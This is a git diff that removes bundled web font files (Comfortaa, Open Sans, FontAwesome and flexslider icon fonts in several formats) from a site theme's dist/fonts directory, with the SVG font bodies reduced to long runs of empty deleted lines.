- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf deleted file mode 100644 index 99ad6267..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff deleted file mode 100644 index 279ee7b9..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2 b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2 deleted file mode 100644 index cd279abe..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot deleted file mode 100644 index 820b3d9c..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg deleted file mode 100644 index ead51d3d..00000000 --- a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf deleted file mode 100644 index 3ac6a777..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff deleted file mode 100644 index e0b6e84c..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff and /dev/null differ diff --git a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2 b/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2 deleted file mode 100644 index 639bd127..00000000 Binary files a/themes/public/dist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/flexslider-icon.eot b/themes/public/dist/fonts/flexslider-icon.eot deleted file mode 100644 index 97c4196f..00000000 Binary files a/themes/public/dist/fonts/flexslider-icon.eot and /dev/null differ diff --git a/themes/public/dist/fonts/flexslider-icon.svg b/themes/public/dist/fonts/flexslider-icon.svg deleted file mode 100644 index 89fd1ab8..00000000 --- a/themes/public/dist/fonts/flexslider-icon.svg +++ /dev/null @@ -1,19 +0,0 @@ - - - - -This is a custom SVG font generated by IcoMoon. - - - - - - - - - - - - - - \ No newline at end of file diff --git a/themes/public/dist/fonts/flexslider-icon.ttf b/themes/public/dist/fonts/flexslider-icon.ttf deleted file mode 100644 index 05432986..00000000 Binary files a/themes/public/dist/fonts/flexslider-icon.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/flexslider-icon.woff b/themes/public/dist/fonts/flexslider-icon.woff deleted file mode 100644 index 10c4eeb8..00000000 Binary files a/themes/public/dist/fonts/flexslider-icon.woff and /dev/null differ diff --git a/themes/public/dist/fonts/fontawesome-webfont.eot b/themes/public/dist/fonts/fontawesome-webfont.eot deleted file mode 100644 index e9f60ca9..00000000 Binary files a/themes/public/dist/fonts/fontawesome-webfont.eot and /dev/null differ diff --git a/themes/public/dist/fonts/fontawesome-webfont.svg b/themes/public/dist/fonts/fontawesome-webfont.svg deleted file mode 100644 index 855c845e..00000000 --- a/themes/public/dist/fonts/fontawesome-webfont.svg +++ /dev/null @@ -1,2671 +0,0 @@ - - - - -Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016 - By ,,, -Copyright Dave Gandy 2016. All rights reserved. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/fontawesome-webfont.ttf b/themes/public/dist/fonts/fontawesome-webfont.ttf deleted file mode 100644 index 35acda2f..00000000 Binary files a/themes/public/dist/fonts/fontawesome-webfont.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/fontawesome-webfont.woff b/themes/public/dist/fonts/fontawesome-webfont.woff deleted file mode 100644 index 400014a4..00000000 Binary files a/themes/public/dist/fonts/fontawesome-webfont.woff and /dev/null differ diff --git a/themes/public/dist/fonts/fontawesome-webfont.woff2 b/themes/public/dist/fonts/fontawesome-webfont.woff2 deleted file mode 100644 index 4d13fc60..00000000 Binary files a/themes/public/dist/fonts/fontawesome-webfont.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot deleted file mode 100644 index 1c3d723a..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg deleted file mode 100644 index 4774d8c4..00000000 --- a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg +++ /dev/null @@ -1,19028 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 